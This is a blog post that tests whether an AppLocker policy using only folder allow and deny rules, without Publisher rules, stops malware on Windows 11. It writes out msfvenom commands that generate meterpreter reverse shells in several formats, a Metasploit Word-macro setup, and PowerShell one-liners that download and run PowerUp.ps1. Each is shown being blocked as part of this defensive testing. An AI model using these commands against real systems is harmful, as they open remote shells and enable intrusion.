Applocker - Are Publisher Rules Necessary
Updated: Feb 14
This is a supplement to the Applocker vs Malware article that you should read first @ https://www.tenaka.net/applocker-vs-malware
I've comprehensively covered Applocker and its 'features' on this site from click-bait prevention with an out-of-the-box configuration to hardening Applocker to protect the protector from being circumvented. The latter's policy is a combination of Publisher, hash, file and folder approvals and denials.
Before I start, the following is not recommended, this is for exploratory testing and proof of concept of Applocker's behaviour.
Does Applokcer require all those Publisher approvals? Can the system be protected with only file and folder approvals and denies?
#Previous - Applocker vs Malware
The client is Windows 11 Enterprise x64 with no AV protection and all tests will be executed as the user, unless specified.
#The Policy - Approvals
Applocker will be configured with the following approval policy:
EXEs, MSIs, Scripts and DLLs are configured to approve any file in %ProgramFile% and %WinDir%, similar to the default rules.
#The Policy - Denies
Protection relies solely on preventing any bypass or escalation of code, denying any directory the user has 'Write' permission for EXEs, MSIs, Scripts and DLLs.
The following directory list is dynamic and changes with different installed languages. Download and run my Security Validation script (here) when non-US languages are installed.
C:\Windows\System32\Tasks\Microsoft\Windows\RemoteApp and Desktop Connections Update
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\RemoteApp and Desktop Connections Update
To prevent Living off the Land by Microsofts signed programs I'm following Microsofts recommended deny list (here) as a baseline. I've added a few more to my list as part of an automated Applocker script to protect the system from various attacks (here).
The final config should look something like this.
Simple, generate reverse shells with MSFVenom and execute whilst trying to bypass Applocker.
Generate an exe with the following command.
Password1234msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.1 lport=8888 -f exe -o /home/user/Malware/rev1.0.exe
Execution is prevented by denying C:\Users\*
Generate a HTML Application Payload (HTA) with the following:
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.1 lport=8888 -f hta-psh -o /home/user/Malware/rev1.0.hta
Execute the following command after downloading the .hta file to the local system.
Execution is prevented by denying mshta.exe, a signed Microsoft program.
The following MSFConsole command generates a reverse shell for Microsoft Word.
use exploit/multi/fileformat/office_word_macro set TARGET 0 set lhost 10.0.0.1 set lport 8888
The Word Macro unpacks to an .exe, it's prevented from executing by denying execution within C:\Users\
Generate a reverse shell PS1 script with the following command.
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.1 lport=8888 -f ps1 -o /home/user/Malware/rev1.0.ps1
Execution is prevented by denying C:\Users\*
Local PowerShell scripts are blocked, what of remote calls that load into memory!!
powershell.exe -exec Bypass -C “IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1’);Invoke-AllChecks”
powershell -ExecutionPolicy Bypass -Command "[scriptblock]::Create((Invoke-WebRequest "https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1" -UseBasicParsing).Content).Invoke();"
Constrained Language mode is still protecting the system.
The following command creates a DLL reverse shell.
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.1 lport=8888 -f dll -o /home/user/Malware/rev1.1.dll
Download and execute the following commands from the Windows client.
copy rev1.1.dll C:\Windows\Temp
Execution is prevented by denying directories, in this case, C:\Windows\Temp, where the users can 'Write' and would have been an authorised path.
#Reverse Shell and MimiKatz as XML
The following command generates an XML reverse shell.
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.1 lport=8888 -f csharp -o /home/user/Malware/rev1.5.xml
Execute the following commands.
Execution is prevented by denying msbuild.exe, a signed Microsoft program.
#Standing Eight Count
Keeping with the boxing analogy for Applocker verses, I hope 'Standing Eight Count' is appropriate.
A correctly implemented Applocker policy as described above does prevent various types of malware from execution under the user context.
Execution is constrained to authorised named directories, 'Program Files' and 'Windows'.
Directories that allow the user to 'Write' deny any type of execution.
Is this approach recommended? No, the chances of maintaining the perfect deny policy is slim in the real real-world. Any exception to the deny ruleset leaves the system open to bypassing Applocker without any Publisher rules to fall back on.
Finally, I did this to better understand Applocker's behaviour, not as a serious method to implement. It does validate the benefits of configuring a deny policy.